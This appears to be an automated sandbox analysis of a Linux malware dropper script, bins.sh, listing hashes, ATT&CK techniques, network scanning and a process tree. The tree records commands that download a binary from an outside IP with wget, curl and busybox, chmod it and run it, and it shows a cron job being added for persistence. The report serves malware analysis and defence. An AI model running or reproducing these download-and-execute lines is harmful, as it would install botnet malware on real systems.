b5a72a1e5e99ac9a2f9dc7e9c66e567cd2261f92604534f9e997546c5f5428b3

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
25-11-2024 15:51

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General

Target

bins.sh
Size

10KB
MD5

868a25d1cb29cf4ae8a689739b0e3fa5
SHA1

bb363298ac6bc042d7a482a3bd0116c57b6448d3
SHA256

b5a72a1e5e99ac9a2f9dc7e9c66e567cd2261f92604534f9e997546c5f5428b3
SHA512

138b1ab191e4ac93cdbf3ddb24f0c569aafcac14cadd2a74f22abe254f944174226793bfcbf7e828efdf717f35150baad68a981d64dea1563ac36715b14870cc
SSDEEP

96:y64j4H4/4q4K4mJGWGrPLi01kR0lTf5NPAVt/hI4UP4g01kR0lTfpuA5zAVt/hIM:y6s06XrzaKybNPhgKyPls06XrJ

Score

9^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2184) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1516	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w	1517	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w

Renames itself 1 IoCs

pid	Process
1518	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.zyf6iZ	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/965/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1661/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/80/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1182/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1501/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1587/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1693/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1737/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1508/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1627/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/9/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/31/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/280/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1197/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1125/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1193/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1614/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1673/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/28/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1503/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/27/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1529/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1575/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1622/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1685/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/624/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1251/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1679/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1787/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/427/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1724/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/172/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/214/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1234/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1790/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/89/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/465/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/8/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1055/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1082/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1597/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1609/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1736/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/4/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/537/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/5/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/6/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1570/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1573/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1607/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1710/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1755/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1769/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/492/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1589/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1592/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1690/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/35/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1535/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1642/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1545/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1754/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
File opened for reading	/proc/1773/cmdline	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w	wget
File opened for modification	/tmp/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w	curl
File opened for modification	/tmp/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1508
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1509
- /usr/bin/wget
  wget http://216.126.231.240/bins/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
  2⤵
  - Writes file to tmp directory
  PID:1510
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
  2⤵
  - Writes file to tmp directory
  PID:1514
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
  2⤵
  - Writes file to tmp directory
  PID:1515
- /bin/chmod
  chmod 777 QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
  2⤵
  - File and Directory Permissions Modification
  PID:1516
- /tmp/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
  ./QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1517
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1519
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1520
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1521
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1522
- /bin/rm
  rm QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
  2⤵
  PID:1524
- /usr/bin/wget
  wget http://216.126.231.240/bins/BA4Z1mgOrxpgylYbggzkkyi0JScNK16X4G
  2⤵
  PID:1527

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/var/spool/cron/crontabs/tmp.zyf6iZ

Filesize
210B

MD5
5ce801801a795e284ffa0f27231d445e

SHA1
33f592395126be34f203cca2feca844607eb984f

SHA256
a141fbf8d196ff8a7ecc3d40ef6498323099e8373b9aa463cbc9f64a9d29bae1

SHA512
c25857964547961bb7dbd3f68fd7c3e145fbdf86634f23eb6431185aac7415ffb753ba4a327c2bb79adc75bfeefcf4a7dfa1a6401ae8c9ee5f7504746ae346c3

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads